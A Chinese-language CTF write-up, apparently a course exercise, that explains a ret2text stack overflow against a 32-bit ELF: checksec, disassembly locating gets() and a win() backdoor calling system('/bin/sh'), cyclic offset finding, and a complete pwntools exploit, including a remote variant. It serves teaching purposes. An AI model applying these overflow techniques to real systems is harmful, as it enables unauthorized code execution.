栈溢出入门实战:ret2text漏洞利用完整解析

发布时间:2026/10/21 9:34:11
栈溢出入门实战:ret2text漏洞利用完整解析 拿到这门课的第一次作业时基础题2是一道非常典型的栈溢出入门题。软件安全的漏洞分析课第一道实战基本上都会从栈上动手这道题也不例外。题目给了一个编译好的32位ELF文件没有源码需要自己逆向定位漏洞点完成一次完整的漏洞利用。整个过程走下来从信息收集、静态分析、动态调试到编写exploit每一步都有不少细节值得记录。这篇文章就把我完整分析这道题的过程写下来适合刚接触pwn、想搞懂ret2text思路的同学参考。1. 拿到题目后的第一步先做信息收集而不是直接开打很多人拿到题目第一反应是跑一下程序、乱输几个字符试试运气这不是不行但效率太低。我的习惯是先花几分钟把文件底细摸清楚确认保护机制、架构和运行环境这会直接影响后续的利用方式。1.1 用 file 和 checksec 摸清程序底细题目给的文件是一个没有源码的Linux可执行文件先看它的基本属性$ file pwn2 pwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped $ checksec --file./pwn2 [*] /home/user/pwn2 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这组输出是后续整个利用方案的地基。逐条解释一下关注点Arch: i386-32-little32位小端程序32位意味着栈上地址是4字节小端意味着写payload时返回地址的高低位要反过来。这个直接影响p32()这类打包函数的使用。Stack: No canary found没有栈保护。canary是编译器插入在缓冲区末尾的一个随机值函数返回前会检查它如果被改写就直接崩溃退出。这里没有canary意味着我们覆盖返回地址时不会触发“stack smashing detected”之类的检查可以放心构造覆盖。NX: NX enabled栈不可执行。很多人第一次看到这个会慌觉得是不是不能搞栈溢出了。其实NX只是禁止执行栈上的代码我们如果直接跳转到程序已有的代码段比如某个现成的函数完全不执行栈上的shellcode所以NX对我们这种ret2text方案没有任何影响。PIE: No PIE程序基址固定。PIE开启的话每次程序加载地址都会随机化覆盖返回地址前通常得先想办法泄露地址。这里关掉了PIE意味着反汇编里看到的函数地址直接可用硬编码进exp就行省了最麻烦的一步。这一步做完脑子里基本有数了这是一个关闭了大部分现代防护的入门程序适合做ret2text——程序里可能藏着一个我们想跳转过去的目标函数栈溢出负责把返回地址改写过去。1.2 运行程序观察行为特征信息收集不能只看静态属性还要亲手跑一下。这里建议不要在shell里直接启动而是用pwntools写一段最小交互脚本或者直接在gdb里加载这样能边跑边观察。$ ./pwn2 Welcome to the pwn2 challenge! Please input your message: hello hello程序逻辑非常简单打印欢迎语读入一行输入再原样回显一次。这是一个典型的“读完就回显”结构听起来很像格式化字符串漏洞但结合静态分析后发现实际问题出在读取函数的选择上。为了验证是否存在溢出手动输入一长串A试试$ python2 -c print A * 200 | ./pwn2 Welcome to the pwn2 challenge! Please input your message: Segmentation fault (core dumped)程序段错误了。这个结果在预期中但也说明不了太多只有知道崩溃时程序控制流被改到哪个地址才能判断是否存在可利用的栈溢出。这就需要进入到调试环节去精确定位了。2. 静态分析从反汇编里锁定漏洞点和可利用目标没有源码的情况下想要准确知道程序内部有哪些函数、哪些地方有风险最好的办法就是反汇编一条条看。基础题一般不会混淆用objdump就能看得很清楚也可以用IDA或Ghidra这类带反编译的工具辅助但命令行工具给出的信息量其实已经足够。2.1 查找反汇编中调用了哪些危险函数直接看main函数做了什么$ objdump -d -M intel ./pwn2 | grep -A 40 main: 08048460 main: 8048460: 55 push ebp 8048461: 89 e5 mov ebp,esp 8048463: 83 ec 4c sub esp,0x4c 8048466: 68 50 85 04 08 push 0x8048550 804846b: e8 c0 fe ff ff call 0x8048330 printfplt 8048470: 83 c4 04 add esp,0x4 8048473: 68 68 85 04 08 push 0x8048568 8048478: e8 b3 fe ff ff call 0x8048330 printfplt 804847d: 83 c4 04 add esp,0x4 8048480: 8d 45 b4 lea eax,[ebp-0x4c] 8048483: 50 push eax 8048484: e8 9f fe ff ff call 0x8048320 getsplt 8048489: 83 c4 04 add esp,0x4 804848c: 8d 45 b4 lea eax,[ebp-0x4c] 804848f: 50 push eax 8048490: e8 9b fe ff ff call 0x8048320 putsplt 8048495: 83 c4 04 add esp,0x4 8048498: b8 00 00 00 00 mov eax,0x0 804849d: c9 leave 804849e: c3 ret关键行已经很清楚了call 0x8048320 getsplt用的是gets函数。gets是出了名的危险函数它无限读取输入直到遇到换行符完全不检查目标缓冲区大小而且也不会截断。目标缓冲区地址是[ebp-0x4c]也就是说局部变量区起始位置距离保存的旧ebp有0x4c即76字节再加上4字节的旧ebp本身距返回地址就是80字节。这个数字就是后面payload里padding的长度。顺带一提这题如果用的是scanf(%s)或者read固定长度情况就不一样了。scanf(%s)同样不检查长度但会受格式限制read则需要显式给出长度。恰恰是用gets才给了我们无限覆盖的机会这也是它被列在危险函数榜首的原因。2.2 寻找程序里隐藏的“惊喜函数”ret2text思路的核心是程序里有一个本来就存在、但不一定会被正常流程调用的函数它能直接给我们shell或者打印flag。这种函数通常不会出现在main的调用链里但在符号表里能看见。用nm查看所有符号$ nm ./pwn2 080484ab T win 08048460 T main ...发现一个名为win的函数这在CTF题里几乎就是明示了这是个后门函数跳过去就能拿到shell。看一下这个函数内部做了什么$ objdump -d -M intel ./pwn2 | grep -A 40 win: 080484ab win: 80484ab: 55 push ebp 80484ac: 89 e5 mov ebp,esp 80484ae: 83 ec 18 sub esp,0x18 80484b1: 68 70 85 04 08 push 0x8048570 80484b6: e8 75 fe ff ff call 0x8048330 systemplt 80484bb: 83 c4 04 add esp,0x4 80484be: 90 nop 80484bf: c9 leave 80484c0: c3 retwin函数只有短短几行把字符串地址0x8048570压栈然后调用system。这个字符串是什么看下数据段$ objdump -s -j .rodata ./pwn2 08048570 2f 62 69 6e 2f 73 68 00 /bin/sh所以win函数的真实行为就是调用system(/bin/sh)跳到它就能得到一个shell。到这里整个利用路径已经清晰了——程序读取输入时用80字节覆盖到返回地址然后把返回地址改成0x080484ab函数一返回就执行winshell就到手了。在IDA里做同样的事情会更直观因为能看到伪代码。但命令行工具的好处是流程透明能明确看见每个栈操作对于理解栈布局更有帮助。这一题因为完全没有启用PIE和canary所以不需要考虑栈随机化问题也没有额外的校验保护硬编码地址即可。3. 动态调试用gdb精准算出覆盖偏移静态分析告诉我们理论上偏移是80字节0x4c 0x4但理论归理论实际调试时必须亲眼看到返回地址被什么数据覆盖、覆盖在什么位置这一步不能省。我自己遇到过因为编译器栈对齐、优化差异理论偏移和实际偏移差几个字节的情况所以动态验证是必须的。3.1 用cyclic生成特征字符串代替手动输入手动数A的个数太累了而且一旦数错还得重来。这里推荐用pwntools自带的cyclic工具它能生成一段有规律的字符串覆盖后可以根据崩溃时寄存器里的数值反推偏移$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacaa...用这200字节作为输入发给程序在gdb里观察崩溃位置$ gdb ./pwn2 (gdb) run (cyclic 200) Program received signal SIGSEGV, Segmentation fault. 0x61616163 in ?? ()0x61616163就是崩溃时EIP被覆盖成的值。把它拆开看0x61是a0x63是c倒过来按小端排列就是caaa。为什么是caaa而不是aaac因为小端存储下内存里的字节序是aa aa ac 61不对这里精确一点崩溃的EIP值是0x61616163内存里实际写入返回地址位置的四个字节依次是0x63、0x61、0x61、0x61也就是c、a、a、a。所以在输入序列里找到caaa所在的位置就能算出偏移。3.2 用pattern_offset确认偏移并验证栈布局有了EIP出现的特征字符串直接用cyclic提供的反查工具$ cyclic -l 0x61616163 80偏移是80字节和静态分析得出的结论完全吻合。这个结果说明main的栈帧确实没有额外的对齐填充就是标准的缓冲区长76 旧ebp 4。到这里利用参数都齐了漏洞点gets无限制读取覆盖偏移80字节目标地址0x080484abwin函数在构造最终payload前我习惯在gdb里做一次完整演练。用pwntools的gdb.debug()方式或者直接在gdb里发送构造好的payload观察执行到ret时EIP是否被正确改写$ gdb ./pwn2 (gdb) b *0x0804849e Breakpoint 1 at 0x804849e (gdb) run (python2 -c print A*80 \xab\x84\x04\x08) ... Breakpoint 1, 0x0804849e in main () (gdb) x/4wx $esp 0xffffd4ac: 0x080484ab 0xffffd4b0 0xf7e376e0 0xffffd4b8$esp处正好是0x080484ab说明ret指令执行后会跳转到win。这一步验证过exp的成功率就基本有保证了。3.3 为什么没有canary就可以直接这么玩顺带解释一个新手容易困惑的点。没有canary时覆盖返回地址是静默进行的程序根本不知道返回地址被篡改了。一旦有canary函数返回前会先比较canary值不一致就调用异常退出。这题checksec明确显示No canary found所以从输入到返回地址之间一路畅通无阻。这也是为什么checksec结果直接决定利用复杂度的原因——有canary的题得先想办法泄露它没有的话整个思路就直线多了。4. 编写exp从本地打出shell到代码落地所有前置信息都确认完了接下来写完整的exploit。ret2text是pwn题目里最能锻炼基本功的一类题因为整个payload只有三部分padding、返回地址、可能需要的参数。此题只需要返回地址所以payload结构极其简洁。4.1 payload设计与32位小端打包32位程序的栈是4字节对齐的返回地址必须是4字节。win函数地址是0x080484ab在内存中按小端存储实际写入的字节顺序是\xab\x84\x04\x08。直接用p32()打包即可它会自动处理字节序不用自己手动倒from pwn import * context.log_level debug context.arch i386 p process(./pwn2) payload bA * 80 # padding填满到返回地址 payload p32(0x080484ab) # 覆盖返回地址为win函数 p.recvuntil(bPlease input your message:) p.sendline(payload) p.interactive()这段代码里有两个细节值得说明。第一padding用的是80字节就是从cyclic算出的偏移这80字节的内容是什么其实无所谓只要别包含换行符就行统一用A最省事。第二p.sendline()会在这个payload末尾自动加一个换行符gets读到换行就结束读取所以这个换行是天然的分界符不会被写进缓冲区。4.2 本地调试观察程序是否真正getshell运行上述脚本如果一切正常终端会进入交互模式出现shell提示符$ python3 exp.py [] Starting local process ./pwn2: pid 12345 [] Receiving all data: Done [DEBUG] Received 0x2d bytes: bWelcome to the pwn2 challenge!\n [...] [*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user) $ cat flag.txt flag{this_is_a_fake_flag_for_demo}走到这一步这道基础题就算打完了思路完全正确。不过实际过程中往往没这么顺利我第一次写exp时丢了好几次进程直接断在发送payload后没有输出。这时候要做的第一件事就是打开context.log_level debug看程序实际收到和返回了什么。调试日志会显示每个recv和send的hex内容能快速定位是payload构造错了还是接收时机不对。4.3 从本地到远程注意交互逻辑的差异很多题在本地能打通连远程却不行。这道基础题因为没有任何地址随机化和canary最常见的原因其实是交互时序问题。本地直接sendline(payload)后马上interactive()没问题但远程服务器可能响应慢或者题目运行环境会多打印几行提示。稳妥做法是显式接收已知提示字符串io remote(target.example.com, 10001) io.recvuntil(bPlease input your message:) io.sendline(payload) io.interactive()recvuntil会阻塞等待指定字符串不会出现“提示还没打印完就把payload发过去”的情况。还有一个通用建议——在交互模式下先执行echo PWNED看看有没有回显有回显说明shell确实通了再cat真正的flag文件。这样能区分“shell没拿到”和“shell拿到了但路径不对”两种情况避免无意义的重复尝试。5. 常见问题与排查实录这些坑我全都踩过这道题虽然简单但实际操作中该出的问题一个不少。回顾一下我踩过的几个典型坑以及排查思路给后面做类似题的同学做个参考。5.1 偏移算出来对不上我从静态分析得到的偏移是80但有人可能在gdb里看到crash地址对应的偏移是76或者84这是完全可能的。原因主要来自两个地方一是编译器为了栈对齐可能额外分配空间比如声明64字节的buf实际sub esp可能分配了0x50即80字节理论看反汇编就不会错二是gdb环境变量和正常运行环境不同会导致栈地址不同。所以判断标准只有一个——以崩溃时EIP实际被覆盖的内容为准cyclic算多少就是多少。不要硬套理论值。5.2 发送payload后程序hang住没有反应这个问题多半出在接收时序上。code里如果直接sendline(payload)而不等程序先输出提示字符串payload可能发送得太早缓冲区的数据还没准备好程序就挂了。解决方法是先recvuntil等待特定提示再用sendline。如果等半天没等到提示可以用io.recv(timeout1)先接收所有已经到达的数据看看发的是什么再做判断。5.3 地址里的坏字符导致字符串截断这一个坑比较隐蔽。如果你要跳转的地址里含有0x0a或者0x00gets这类按行读取的函数会出问题。0x0a是换行符gets遇到它直接停止读取后续的地址字节全被丢弃。0x00是字符串终止符puts之类按字符串输出的函数会截断但gets不会因为0x00停止因为它按字符读不判断0x00。所以做题时要检查目标地址字节。比如0x0804840a这种地址末尾是0x0a的就不可能用gets直接读进去。本题的0x080484ab四个字节是ab 84 04 08没有坏字符可以放心用。遇到有坏字符的地址可以考虑用partial overwrite只覆盖返回地址的低字节但这就属于进阶话题了。5.4 32位程序在64位系统上跑不起来跑exp的时候报错说找不到/lib/ld-linux.so.2说明系统缺少32位运行库。在Ubuntu系系统上装一下基础库即可$ sudo apt install gcc-multilib libc6-dev-i386gdb调试32位程序时同理可能还要装gdb-multiarch或者依赖系统自带的32位支持。这个属于环境问题不是代码问题提前准备好能省不少时间。5.5 打远程连不上远程连不上先确认地址和端口有没有写错再看网络通不通最后才怀疑题目和环境。用nc -v 地址 端口手动连一下能看到banner就说明服务在跑。如果本地exp直接改IO目标为远程就可以说明思路没问题如果手动nc能连但exp连不上多半是交互时序或者编码问题。这种排查顺序能避免在一个错误方向上浪费时间。最后再分享一个体会做完这道基础题2我对栈溢出的整体流程算是真正建立了肌肉记忆先checksec看防护再反汇编找漏洞点和后门函数用cyclic算出精确偏移最后写exp。整个过程看起来是四步但每一步背后都有大量细节。尤其建议新手不要跳过动态验证这一步直接对着静态分析的结果写exp。很多隐蔽问题只有实际跑起来才会暴露。后续如果想进阶可以在ret2text的基础上练习ret2syscall、ret2libc、格式化字符串等利用方式原理都是相通的——栈上的控制流一旦能改写剩下的就是怎么找到一条可行的执行路径。这道基础题的价值不只是打通一个程序而是帮你建立了分析漏洞的完整思维框架。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询